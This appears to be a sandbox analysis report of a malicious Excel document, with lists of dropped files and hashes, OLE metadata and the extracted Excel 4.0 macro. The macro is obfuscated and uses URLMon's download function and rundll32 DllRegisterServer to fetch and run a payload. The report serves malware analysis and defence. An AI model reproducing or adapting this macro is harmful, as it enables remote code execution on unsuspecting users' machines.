Preview:	0..y...H.........j0..f...1.0....H.........N0..J0..2.......D....'..09...@k0....H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z..210930140115Z0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30.."0....H.............0..........P..W..be......,k0.[...}.@......3vI.?!I..N..>H.e...!.e..2....w..{........s.z..2..~..0....8.y.1.P..e.Qc...a.Ka..Rk...K.(.H......>.... .[.....p....%.tr.{j.4.0...h.{T....Z...=d.....Ap..r.&.8U9C....\@........%.......:..n.>..\..<.i.....)W..=....]......B0@0...U.......0....0...U...........0...U.........{,q...K.u...`...0....H...............,...\...(f7:...?K.... ]..YD.>.>..K.t.....t..~.....K. D....}..j.....N..:.pI...........:^H...X._..Z.....Y..n......f3.Y[...sG.+..7H..VK....r2...D.SrmC.&H.Rg.X..gvqx...V..9$1....Z0G..P.......dc`........}...=2.e..\|.Wv..(9..e...w.j..w.......)...55.1.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.084754685484955
Encrypted:	false
SSDEEP:	6:kKxysPbqoN+SkQlPlEGYRMY9z+4KlDA3RUeKlF+adAlf:5yv3kPlE99SNxAhUeo+aKt
MD5:	EEAC39EA5331BA303E68BBDD882ADCA6
SHA1:	5F83BB30297D7995917BD67BFFA69D94FA6DCEE5
SHA-256:	42E7CEFF41646464D6345C40BB70A027488339C3B1FD20CFFA8CA19DA22EFB30
SHA-512:	40A918F4C0CD266667869407B5453F55D740F6232D271ABFA20FC260F4F0FFF5FC8DAF9C28558741A9F09D15B8EE93681EACE57BC559222EF4B2FEE925CB3095
Malicious:	false
Reputation:	low
Preview:	p...... ..........K....(....................................................... ..................&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.e.b.b.a.e.1.d.7.e.a.d.6.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CD13771E5132C64BEEF257719A4363C4 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	218
Entropy (8bit):	2.9160266983784964
Encrypted:	false
SSDEEP:	3:kkFklvBPtfllXlE/zMclittFFr31kRDHulDZLcoi1yo1dlUKlGW1/:kKeBPq1QiRDOlDeb1y+UKcK
MD5:	717AB1416592925CC18663F80CDFE1C4
SHA1:	869238FE2FB612791255160C4DC56E67DEEE250C
SHA-256:	228638ABAEA3EFFAF4E5C7788B805431E820E2CBE95B7A9FA9DA73FAD85A8020
SHA-512:	C254BEA17E7851914A7A513A14B62C2EAA6A48893A363643875717718329F6BFEDACAB9B2382BE0F0BCFC1B864FB443C3107B6578C491253C0C139DEF1B6F2FC
Malicious:	false
Reputation:	low
Preview:	p...... ....H...%.FK....(....................................................... ..........~...@...................h.t.t.p.:././.c.e.r.t...i.n.t.-.x.1...l.e.t.s.e.n.c.r.y.p.t...o.r.g./...".5.a.6.2.8.1.5.c.-.4.a.c."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.0294634724686764
Encrypted:	false
SSDEEP:	3:kkFklWZPtfllXlE/QhzllPlzRkwWBARLNDU+ZMlKlBkvclcMlVHblB1UAYpFit:kKNPnliBAIdQZV7eAYLit
MD5:	889812E029148036DB54C56A370BF52A
SHA1:	5F50C6B33BC205351966658FB63CC2D44B8B7EC1
SHA-256:	58A61FF80EE210E555AD05B86F7C8621F1D97DC5F54A823DCDC6C76FD76AEEC8
SHA-512:	7F78DC35748746B7A991F36B50AE1C76BE8187AFA37D1877279C7704698814C1C6E90ED8166ABE748CE9907434C8771E7C939551F1678B8AEC20B807A8231E27
Malicious:	false
Reputation:	low
Preview:	p...... ....`.....K....(....................................................... ........u.........(...........}...h.t.t.p.:././.a.p.p.s...i.d.e.n.t.r.u.s.t...c.o.m./.r.o.o.t.s./.d.s.t.r.o.o.t.c.a.x.3...p.7.c...".3.7.d.-.5.9.e.7.6.b.3.c.6.4.b.c.0."...

C:\Users\user\AppData\Local\Temp\2BBE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	63666
Entropy (8bit):	7.680209141266392
Encrypted:	false
SSDEEP:	1536:AVAWd9RqrMMz9Sw3xNhVsSAc2frW2Z1llo:AqWdzqLTnjsSAc2frW2XlW
MD5:	700CF16F61668BC891925220CB8C45D4
SHA1:	C4B8150813677A0D1A9AD745C5A194CD317A9AD5
SHA-256:	9BCA582BD5E6437C93F5BEAC3C1C847782923021E60747D51337FDEBA87E3C33
SHA-512:	F952BB6CBD612AD8C14D1C02629B176B306EBE4C31FBF0B8298E2109FD297C7C861DC8AA1F3E360D05A18C179C2DF9333903F246190B10DBACA665F6EEE5635D
Malicious:	false
Reputation:	low
Preview:	.UKO.0..#.."_Q..a.Z5..G......4..<....c7.....y9.c..'..5.3D........J..e..o..$...;h...]O.....X..a..../.Q.`.6>.....V$....B.E..j4...w.\.S.`.....'....=^9..c...{Y.e.f\|~."..m D.FK..4......fZ......C....H.4!j... %..whF0x..CC.b.{......W>..........^.t',......8.z?o...h,..`.R.c......Z..:.T..........n.J......`..g.6..?..X>#wuD.K........4...4.G.sJ/W...{.A=$...x.}....%[....s.....H..> ......:b2..D.1iX..m[x.H..t..A.y.+P[.y.kL........PK..........!........v.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CabD03B.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, 59134 bytes, 1 file
Category:	dropped
Size (bytes):	59134
Entropy (8bit):	7.995450161616763
Encrypted:	true
SSDEEP:	1536:R695NkJMM0/7laXXHAQHQaYfwlmz8efIqigYDff:RN7MlanAQwEIztTk
MD5:	E92176B0889CC1BB97114BEB2F3C1728
SHA1:	AD1459D390EC23AB1C3DA73FF2FBEC7FA3A7F443
SHA-256:	58A4F38BA43F115BA3F465C311EAAF67F43D92E580F7F153DE3AB605FC9900F3
SHA-512:	CD2267BA2F08D2F87538F5B4F8D3032638542AC3476863A35F0DF491EB3A84458CE36C06E8C1BD84219F5297B6F386748E817945A406082FA8E77244EC229D8F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........T.........R.. .authroot.stl.ym&7.5..CK..8T....c_.d...:.(.....].M$[v.4.).E.$7I.....e..Y..Rq...3.n..u..............\|..=H....&..1.1..f.L..>e.6....F8.X.b.1$,.a...n-......D..a....[.....i,+.+..<.b._#...G..U.....n..21pa..>.32..Y..j...;Ay........n/R... ._.+..<...Am.t.<. ..V..y`.yO..e@../...<#..#......dju..B......8..H'..lr.....l.I6/..d.].xIX<...&U...GD..Mn.y&.[<(tk.....%B.b;./..`.#h....C.P...B..8d.F...D.k........... 0..w...@(.. @K....?.)ce........\.\......l......Q.Qd..+...@.X..##3..M.d..n6.....p1..)...x0V...ZK.{...{.=#h.v.).....b.....[...L..c..a..,...E5X..i.d..w.....#o+.........X.P...k...V.$...X.r.e....9E.x..=\...Km.......B...Ep...xl@@c1.....p?...d.{EYN.K.X>D3..Z..q.] .Mq.........L.n}........+/l\.cDB0.'.Y...r.[.........vM...o.=....zK..r..l..>B....U..3....Z...ZjS...wZ.M...IW;..e.L...zC.wBtQ..&.Z.Fv+..G9.8..!..\T:K`......m.........9T.u..3h.....{...d[...@...Q.?..p.e.t[.%7..........^.....s.

C:\Users\user\AppData\Local\Temp\TarD03C.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	152788
Entropy (8bit):	6.316654432555028
Encrypted:	false
SSDEEP:	1536:WIA6c7RbAh/E9nF2hspNuc8odv+1//FnzAYtYyjCQxSMnl3xlUwg:WAmfF3pNuc7v+ltjCQSMnnSx
MD5:	64FEDADE4387A8B92C120B21EC61E394
SHA1:	15A2673209A41CCA2BC3ADE90537FE676010A962
SHA-256:	BB899286BE1709A14630DC5ED80B588FDD872DB361678D3105B0ACE0D1EA6745
SHA-512:	655458CB108034E46BCE5C4A68977DCBF77E20F4985DC46F127ECBDE09D6364FE308F3D70295BA305667A027AD12C952B7A32391EFE4BD5400AF2F4D0D830875
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	0..T....H.........T.0..T....1.0...`.H.e......0..D...+.....7.....D.0..D.0...+.....7..........R19%..210115004237Z0...+......0..D.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Sun Feb 21 23:54:33 2021, atime=Sun Feb 21 23:54:33 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.495716913593311
Encrypted:	false
SSDEEP:	12:85Q/LgXg/XAlCPCHaX7B8NB/QY3UX+WnicvbjbDtZ3YilMMEpxRljKfkcTdJP9TK:85o/XTr6NUYebDv3qekwrNru/
MD5:	E12BEE9E20A696477746D5F44BB148D9
SHA1:	206C61524DCC3BFADF63CC72949D7099546E2D32
SHA-256:	7CE1439063814D6F21A651A40E0EFF007FF110B0F7FBFB35249B3DC87EFD40D8
SHA-512:	0A22CBEFE98822EE4BA90C39CE10AEDCD7292EE2E1506DCAE62BE5A35BC03190B4EF93BA501D81AD4236C00696571E1086ECF1A14A032D816FED7DC10B280A74
Malicious:	false
Reputation:	low
Preview:	L..................F...........7G..z.H....z.H..... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1.....VR....Desktop.d......QK.XVR....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\609290\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......609290..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\document-1900770373.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:11 2020, mtime=Sun Feb 21 23:54:33 2021, atime=Sun Feb 21 23:54:33 2021, length=90112, window=hide
Category:	dropped
Size (bytes):	2118
Entropy (8bit):	4.515941059744255
Encrypted:	false
SSDEEP:	48:8j/XT+NnDLyCgLVekwQh2j/XT+NnDLyCgLVekwQ/:8j/X6Nn8e3Qh2j/X6Nn8e3Q/
MD5:	AA7DA2F11BCCE0F1907562D8927A929E
SHA1:	C4EBE836AFF376566387ADAEFD89C6CA17A0BC60
SHA-256:	908EBF9A4A447F1B2A6EA847D0C7D46C57E62E709D6B611CDFA2636AD4B8421A
SHA-512:	54CF322175CCAD2CD9D7D1A60C46478308DAA167E1CE115C22408D814C85EF561049AC70EC4A039F6893DBBA051C75E27A663B4E7FEAA0A6352439F056D628FC
Malicious:	false
Reputation:	low
Preview:	L..................F.... ........{..z.H.......H.....`...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....x.2..b..VR.. .DOCUME~1.XLS..\.......Q.y.Q.y...8.....................d.o.c.u.m.e.n.t.-.1.9.0.0.7.7.0.3.7.3...x.l.s.......................-...8...[............?J......C:\Users\..#...................\\609290\Users.user\Desktop\document-1900770373.xls.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.d.o.c.u.m.e.n.t.-.1.9.0.0.7.7.0.3.7.3...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......609290..........D_....3N.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.618101950967686
Encrypted:	false
SSDEEP:	3:oyBVomMY9LRCSEWCZELRCSEWCmMY9LRCSEWCv:dj6Y9L4SEWgEL4SEWUY9L4SEWs
MD5:	272B1562977081250539767E3399438F
SHA1:	E87F8BFACFFDA4A3CE7996758C15638EAB13AEEC
SHA-256:	1CC134C7A3B67DC666D5784FFCCB1829E009872CEE863DBED2F03B72065AF66B
SHA-512:	6681F96328D00E72A221D9CCDD79DB279BE909C49B84713442D996CFDB4E6E2DDE37B39D0AE56CE5E6019D7642BD6643610175606A8043456358D610A7CC6436
Malicious:	false
Reputation:	low
Preview:	Desktop.LNK=0..[xls]..document-1900770373.LNK=0..document-1900770373.LNK=0..[xls]..document-1900770373.LNK=0..

C:\Users\user\Desktop\CBBE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Applesoft BASIC program data, first line number 16
Category:	dropped
Size (bytes):	123533
Entropy (8bit):	4.297044532127987
Encrypted:	false
SSDEEP:	3072:NWcKoSsxzNDZLDZjlbR868O8KL5L+LxEtjPOtioVjDGUU1qfDlaGGx+cL2QnAFVn:ccKoSsxzNDZLDZjlbR868O8KL5L+LxEq
MD5:	8629CE00F391281A44C231AFE0CA74CB
SHA1:	3CAABA6FF240667682D4EC63A8C56306C7C32506
SHA-256:	6321FB6481A8997198C3B2E23DF71C3CDBCD27CA39633B917DF84D3FE20A28B2
SHA-512:	DEB00190B4E31372D52008D70C672916A208D0878E9D22EA9909C65F7B0B38BE4582054F5DA8D28A1C0029EE7A33429093BA4529C09277C1694F76C657EE4A27
Malicious:	false
Reputation:	low
Preview:	........g2.........................\.p.... B.....a.........=.............................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...,...8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...h...8...........C.a.m.b.r.i.a.1.......<...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.............

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Feb 18 09:51:20 2021, Security: 0
Entropy (8bit):	3.4266889115734442
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	document-1900770373.xls
File size:	90624
MD5:	139a10b28479f4f9e2e4465053e039f8
SHA1:	10251eb69e603ed7259265015b71b1160e3b4a06
SHA256:	ed17094f3e820674c9fa18192292108e8766d28eb0afcc0cf350a44b54196c1d
SHA512:	a37e69ad6fad31c7c39dd263d59758230e29add9c93b59d747dc4616fcf0c4ced09293a9d5e3fe633712311e4347483983fba5a713193f660b8f0fda2320cb88
SSDEEP:	1536:RLcKoSsxz1PDZLDZjlbR868O8KlVH327uDphYHceXVhca+fMHLtyeGxcl8O9pTIw:RLcKoSsxzNDZLDZjlbR868O8KlVH327R
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "document-1900770373.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2021-02-18 09:51:20
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	917504

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.318330155209
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . D o c 1 . . . . . D o c 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E x c
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e0 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 9f 00 00 00 02 00 00 00 e3 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.254255489206
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . \| . # . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 79968

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	79968
Entropy:	3.63805791013
Base64 Encoded:	True
Data ASCII:	. . . . . . . . g 2 . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . i . . 9 J . 8 . . . . . . . X . @ . . . . . . . . . . . " . . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 67 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=before.2.4.0.sheet!AK28(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&FORMULA(AP41&""2 "",AD15)","=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&FORMULA(AQ41,AE15)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=AE14(),=Doc2!AC12(),,,"=FORMULA(AO36&AO37&AO38&AO39&AO40&AO41,AO25)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=AG24(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(AO25,Doc2!AC13&Doc2!AC12&AG25&""A"",""JJC""&""CBB"",0,before.2.4.0.sheet!A100,""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&before.2.4.0.sheet!AQ30,0)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=AO5(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=REPLACE(before.2.4.0.sheet!AQ25,6,1,before.2.4.0.sheet!AQ26)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=REPLACE(AP34,6,1,before.2.4.0.sheet!AL12)",,,,,,,,URLMon,,egist,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=AK22(),,,,,,,,,,erServer,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&EXEC(before.2.4.0.sheet!AD15&before.2.4.0.sheet!AQ30&before.2.4.0.sheet!AE15&AG24)",,,,r,",",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=HALT(),,,,u,D,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,n,l,..\idefje.ekfd,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,d,l,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,l,R,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,l,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,3,File,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,Dow,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,U,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,R,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,L,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,M,URL,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,o,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,n,rundll3,",DllR",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,